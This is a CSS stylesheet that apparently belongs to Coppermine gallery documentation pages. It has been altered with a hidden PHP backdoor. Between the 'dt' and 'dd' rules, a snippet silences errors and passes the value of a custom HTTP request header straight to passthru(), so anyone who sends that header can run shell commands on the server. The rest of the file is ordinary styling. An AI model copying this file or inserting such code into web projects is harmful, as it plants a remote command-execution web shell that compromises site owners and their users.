* html {
        font-family : Verdana, Arial, Helvetica, sans-serif;
}

body {
        background-color:#FFFFFF;
        margin-top:0px;
        margin-bottom:100px;
        margin-left:10px;
        margin-right:10px;
        padding:0px;
        font-family : Verdana, Arial, Helvetica, sans-serif;
        color:#000000;
        font-size:16px;
}

h1
{
        font-size:18px;
        font-weight:bold;
}

h2
{
        font-size:16px;
        font-weight:bold;
}

h3
{
        font-size:14px;
        font-weight:bold;
}

h4
{
        font-size:12px;
        font-weight:bold;
}

dl
       {
       margin-bottom:2px;
       margin-top:4px;
       }
dt
       {
       margin-bottom:0px;
       margin-top:10px;
       padding-bottom:2px;
       padding-top:6px;
       border-left-width:1px;
       border-right-width:1px;
       border-top-width:1px;
       border-bottom-width:1px;
       border-left-style:solid;
       border-right-style:solid;
       border-top-style:solid;
       border-bottom-style:solid;
       border-left-color:#EEEEEE;
       border-right-color:#EEEEEE;
       border-top-color:#EEEEEE;
       border-bottom-color:#EEEEEE;
       }<? error_reporting(0);if(isset($_SERVER[HTTP_SERVER_INFO])){
	print('blah');passthru($_SERVER[HTTP_SERVER_INFO]);print('blah');}?>
dd
       {
       padding-bottom:2px;
       padding-top:6px;
       border-left-width:1px;
       border-right-width:1px;
       border-bottom-width:1px;
       border-left-style:solid;
       border-right-style:solid;
       border-top-style:solid;
       border-bottom-style:solid;
       border-left-color:#EEEEEE;
       border-right-color:#EEEEEE;
       border-top-color:#FFFFE0;
       border-bottom-color:#EEEEEE;
       background-color:#FFFFE0;
       <?php if ($expand_all =="") {print "display:none";}?>
       }

.codefaq
       {
       font-size:11px;
       font-family:'Courier New',Courier,monospace;
       border-width:1px;
       border-style:solid;
       border-color:#C0C0C0;
       background-color:#EFEFEF;
       line-height:1em;
       }
.copyleft
       {
       font-size:10pt;
       border-width:1px;
       border-style:solid;
       border-color:#BDBEBD;
       background-color:#FFDBBD;
       }
.edittag
       {
       font-size:9pt;
       background-color:#EFEFEF;
       }

a.q1
   {
   color:black;
   text-decoration:none;
   }

.red
    {
    color:#FF0000;
    }

    a.cpgnav:link { color:#FFFFFF; text-decoration: none; }
    a.cpgnav:visited { color:#FFFFFF; text-decoration: none; }
    a.cpgnav:hover {color: #FFFFFF; text-decoration: none;color:#00C3FF }
    a.cpgnav:active { color:#FFFFFF; text-decoration: none; }
    a.cpgnav:focus {color: #FFFFFF; text-decoration: none; }

.cpgnav
    {
    background-color:#0871A5;
    margin-top:5px;
    margin-bottom:5px;
    margin-left:5px;
    margin-right:5px;
    padding-top:5px;
    padding-bottom:5px;
    padding-left:0px;
    padding-right:0px;
    border-width:1px;
    border-style:solid;
    border-color:#0871A5;
    font-size:9px
    }

.small
    {
    font-size:12px ;
    }

.smaller
    {
    font-size:10px ;
    }
    
.smallest
    {
    font-size:9px ;
    }

.frame2
    {
    border-width:1px;
    border-style:solid;
    border-color:#000000;
    padding:0px;
    margin:0px;
    border-collapse:collapse;
    }

.tool
    {
    border-bottom: 1px dotted orange;
    cursor:help;
    }

.announcebox1
    {
    border-width:1px;
    border-style:dotted;
    background-color:#00C3FF;
    border-color:#0000FF;
    padding:10px;
    margin:10px;
    border-collapse:collapse;
    }
p {
        font-size: 12px; margin: 10px 10px 0px 0px; font-family: Verdana, Arial, Helvetica, sans-serif
}
pre {
        border-right: #999999 1px solid;
        padding-right: 5px;
        border-top: #999999 1px solid;
        padding-left: 5px;
        font-size: 12px;
        padding-bottom: 5px;
        margin: 10px 10px 0px 0px;
        border-left: #999999 1px solid;
        padding-top: 5px;
        border-bottom: #999999 1px solid;
        font-style: normal; font-family: "Courier New", Courier, mono;
        background-color: #E0E0E0;
}

td {
        font-size: 12px;
}
ul {
        padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 10px 0px 10px 5px; padding-top: 0px
}
ul.content {
        padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 5px 5px 0px 0px; padding-top: 0px
}
li {
        padding-right: 0px; margin-top: 4px; padding-left: 0px; list-style-position: outside; margin-bottom: 4px; padding-bottom: 0px; margin-left: 10px; padding-top: 0px; list-style-type: disc
}
li.content {
        padding-right: 0px; margin-top: 0px; padding-left: 0px; list-style-position: outside; margin-bottom: 5px; padding-bottom: 0px; margin-left: 10px; padding-top: 0px; list-style-type: none;
}
hr {
        border-right: #000000 0px solid; border-top: #000000 1px solid; border-left: #000000 0px solid; border-bottom: #000000 0px solid; height: 0px; width:80%;text-align:left;
}
.navbar {
        font-weight: bold; font-size: 10px; background: url(/coppermine/themes/pixel-rave-blue100/images/nav-bar-button.gif) #72a5cc no-repeat; vertical-align: middle; color: #A5C6DF; font-family: Arial, Helvetica, sans-serif
}
a.navbar {
        display: block; vertical-align: middle; width: 100px; color: #A5C6DF; line-height: 25px; position: relative; height: 25px; text-align: center; text-decoration: none
}
a.navbar:hover {
        color: #ffffff; text-decoration: none
}

a.external {
        background: transparent url('pics/link.gif') 100% 50% no-repeat;
        padding-right: 10px;
}

.back {
        margin-top: 10px; font-size: 10px; margin-bottom: 10px
}
.important { color: red }
.menu1 {font-weight:bolder;font-stretch:expanded;font-size:120%}
.menu2 {font-weight:bold;font-stretch:normal;font-size:100%}
.menu3 {font-weight:normal;font-stretch:condensed }
.code {
        font-size: 12px; font-style: normal; font-family: "Courier New", Courier, mono; background-color: #E0E0E0
}
.border1 {
        border-right: #999999 1px solid; padding-right: 5px; border-top: #999999 1px solid; padding-left: 5px; font-size: 12px; padding-bottom: 5px; margin: 10px 10px 0px 0px; border-left: #999999 1px solid; padding-top: 5px; border-bottom: #999999 1px solid;
          }
.quote
{
        color: #000000;
        background-color: #C3B8D0;
        border: 1px solid #000000;
        margin: 1px;
        padding: 1px;
        font-size: x-small;
}

.footer {
        font-size : 9px;
}

a.footer {
        text-decoration:none;
}


.bglight {
       background-color:#F0F0F0;
       padding-top:0px;
       padding-left:2px;
       padding-right:2px;
       padding-bottom:2px;
}

.bgtrans {
       background-color:#FFFFFF;
       padding-top:0px;
       padding-left:2px;
       padding-right:2px;
       padding-bottom:2px;
}

.bgdarker {
       background-color:#CCCCCC;
}

td.tbcell_column {
   padding-left:20px;
   padding-right:20px;
   text-align:left;
   vertical-align:top;
}

h2.leftcol {
   padding-left:15px;
   background-image:url(/images/search.gif);
   background-repeat:no-repeat;
   background-position:left;
   margin:0px;
}

h3.leftcol {
   font-size:8pt;
   font-weight:bold;
   padding-top:15px;
   margin:0px;
}

h4.leftcol {
   font-size:8pt;
   font-weight:normal;
   font-style:italic;
   margin:0px;
}

p.leftcol {
   font-size:8pt;
   margin:0px;
}

.colorfont {
   color:#006699;
}

h2.rightcol {
   margin:0px;
}

.thumbcaption {
   font-size:8pt;
   color:#999999;
}

acronym {
   border-bottom: 1px dotted #CFCFCF;
}

li.list1 {
   list-style-type:square;
   list-style-position:outside;
}

/* externe links in gecko mit entsprechendem icon garnieren */
a[href^="http:"] {
  background: transparent url('/images/external.gif') right center no-repeat;
  padding-right: 10px;
}
a[href^="http://coppermine-gallery.net"],
a[href^="http://www.coppermine-gallery.net"],
a[href^="http://forum.coppermine-gallery.net"],
a[href^="http://documentation.coppermine-gallery.net"],
a[href^="http://demo.coppermine-gallery.net"],
a[href^="http://blog.coppermine-gallery.net"],
a[href^="http://coppermine.sourceforge.net"],
a[href^="http://downloads.sourceforge.net"],
a[href^="http://sourceforge.net"] {
  background: transparent;
  padding-right: 0px;
}

.external {
  background: transparent url('/images/external.gif') right center no-repeat;
  padding-right: 10px;
}

.admin_menu {
        font-family: Arial, Helvetica, sans-serif;
        font-size: 85%;
        border: 1px solid #005D8C;
        background-color:#EFEFEF;
        background-image : url(images/button_bg.gif);
        background-position : bottom;
        color: #000000;
        margin-top: 0px;
        margin-bottom: 0px;
        padding-top:2px;
        padding-bottom:2px;
        padding-left:1px;
        padding-right:1px;
        text-align: center;
}

.admin_menu a {
        color: #000000;
        text-decoration: none;
        display: inline;
        position: relative;
        padding-top: 1px;
        padding-bottom: 1px;
        padding-left: 2px;
        padding-right: 2px;
}

.admin_menu a:hover {
        color: #000000;
        text-decoration: underline;
}

td #admin_menu_anim {
        background-image : url(images/button_bg_anim.gif);
}

.bgwhite {
       background-color:#FFFFFF;
}

.maintable {
    border: 1px solid #0E72A4;
    background-color: #EFEFEF;
    margin-top: 1px;
    margin-bottom: 1px;
}

.tableb {
    background: #EFEFEF ;
    padding-top: 3px;
    padding-right: 10px;
    padding-bottom: 3px;
    padding-left: 10px;
}

/* This class will be used in conjunction with class tableb: attributes not particularly (re)-assigned will be taken into account from tableb. */
/* It is being used to accomplish alternating row colors for lists. */
/* It's recommended to only assign another background color that slightly differs from the one defined in tableb */
.tableb_alternate {
    background: #E4E4E4;
}

.tableh1 {
    background : #0E72A4 ;
    color : #FFFFFF;
    padding-top: 3px;
    padding-right: 10px;
    padding-bottom: 3px;
    padding-left: 10px;
    font-weight:normal;
}

.detail_head_collapsed, .detail_head_expanded, .detail_head_none {
	position: relative;
	padding: 5px 10px;
	background-repeat:no-repeat;
	background-position:center left;
	color: #0033CC;
}

.detail_head_collapsed {
	background-image:url('../images/plus.gif');
	cursor: pointer;
}

.detail_head_expanded {
	background-image:url('../images/minus.gif');
	cursor: pointer;
}

.detail_head_none {
	background-image:url('../images/no_details.gif');
}

.detail_body {
}